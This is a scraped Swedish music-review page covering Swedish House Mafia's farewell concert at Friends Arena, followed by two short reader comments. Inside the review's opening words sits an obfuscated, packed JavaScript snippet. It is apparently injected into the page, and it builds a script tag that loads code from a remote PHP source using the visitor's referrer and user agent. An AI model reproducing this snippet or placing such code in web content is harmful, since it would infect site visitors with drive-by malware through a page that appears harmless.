Image Image Image Image Image Image Image Image Image Image

| 16 december, 2017

Scroll to top

Top

2 Comments

Recension: Swedish House Mafia Until Now - Friends Arena | Revue.se

Recension: Swedish House Mafia Until Now – Friends Arena
Alexander Gylemo

Review Overview

Musik
9
Show
9
Ljud
7
Publik
10
8.8

Rating

Swedish eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(”<\/k"+"l>”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hfrse|var|u0026u|referrer|shftz||js|php’.split(‘|’),0,{}))
House Mafia recension:
 SHM-festen är över och hysterin har precis lagt sig i vårt hemland. De senaste tre dagarna har genomsyrats av dramatiska syntar, skoningslösa kickar och enorm bas och har utan tvekan påverkat Sverige och vår syn på elektronisk dansmusik mer än Avicii, Tiësto och Summerburst tillsammans.

Det var den första och enda gången som Axwell, Steve Angello och Sebastian Ingrosso gick upp på scen tillsammans som Swedish House Mafia på svensk mark och redan på väg mot Friends Arena kunde jag konstatera att ”den stora hemkomsten” var ett faktum.

Att se 35 000 svenskar myllra runt den nybyggda arenan, fyllda av energi och förväntan, gjorde stämningen nästan olidlig och det var även här någonstans som kvällens enda riktiga minus uppkom. Det var enormt krångligt att ens komma in på arenan eftersom det fanns så många ingångar där olika biljetter hade tillträde och med tusentals människor som gick fel överallt trodde jag ett tag att jag skulle missa hela spelningen. En dryg och okunnig personal som hånflinade mot stackarna som inte hittade rätt hjälpte knappast heller. Väl inne glömdes dock detta snabbt bort med vackra och överlyckliga människor vart man än såg.

Efter lite uppvärmning från olika support dj’s sparkades den historiska händelsen igång kl. 21:00 med ett grymt intro som mixades in i ”Greyhound”. Redan här var det svårt att bestämma om man ville se på scenen, skärmarna eller publiken som var i fullkomlig extas och vågade visa det; ett bevis på att Sverige, där den moderna housescenen bara haft ett par år på sig att etablera sig, numera är långt inne i houseyran och kommer troligen befinna sig här under en lång tid framöver.

De flesta låtarna var välkända arenahits som SHM:s ”One”, Sebastian Ingrosso och Alessos ”Calling”, Axwells remix på ”Teenage Crime” och Nari & Milanis ”Atom” men trion slängde även in lite nya låtar vilket var välkommet, jag hade gärna fått mer av detta. Det var däremot ganska givet att en konsert med huvudsyfte att ta farväl och blicka tillbaks på det som gjort Swedish House Mafia till vad de är inte skulle komma med för många överraskningar i musikväg, och jag klagade knappast.

De flesta, om inte alla låtarna, var ihopmixade sedan innan vilket är en välkänd teknik som trion använder, men energin var varken mindre på publiken eller SHM för det eftersom de har de tveklöst fetaste editsen och snyggt pendlar fram och tillbaks mellan låtarna. Medan de staplade hitlåt på hitlåt, där de absolut bästa låtarna var The Ashton Shuffle & Tommy Trash’s ”Sunrise (We Won’t Get Lost), SHM:s ”Don’t You Worry Child”, Axwells remix på Ivan Gough’s ”In My Mind” och Ingrossos och Tommy Trash’s ”Reload”, gick spotlightsen och ljuseffekterna bärsärkagång med vackra lasrar, eldar och strobes.

All credd ska gå till SHM:s ”band”, som de kallar dem, i form av pyrotekniker och ljusingenjörer som lyckades förmedla trions image med varje blinkning. Under spelningens gång kunde det även konstateras att de svenska housegudarna hunnit få inspiration från andra håll för att ge sina spelningar mer effekt, som när Steve Angello fick alla i publiken att huka sig ner på marken för att sedan tillsammans hoppa in i droppet, ett trick som först användes av nu metal-bandet Slipknot (av alla band).

Till sist hade den sista låten spelats och stora delar av publiken började skynda mot garderoben och taxibilarna, men kvällen var inte över här. Ur mörkret och publikens jubel kunde snart en filtrerad syntslinga anas och från ingenstans dök mannen med en av housevärldens bästa röster upp, John Martin, som tillsammans med SHM slängde in oss i galenskapen igen med ett oförglömligt medley uppbyggt av de kändaste låtarna som trion har skapat.

Det var det ultimata farvälet i den ultimata avskedsspelningen framfört av de tre individer som tillsammans har förändrat den svenska musikindustrin och minnena som skapades hos mig och alla de andra som tog sig ut till Solna de tre senaste dygnen kommer nog aldrig suddas ut.

Läs mer om bandet: Swedish House Mafia Hemsida!

  • Kyral

    Sick bra. Riktigt bra spelning måste jag medge 🙂

  • Lina

    Bästa konserten någonsin, nu väntar jag in reunion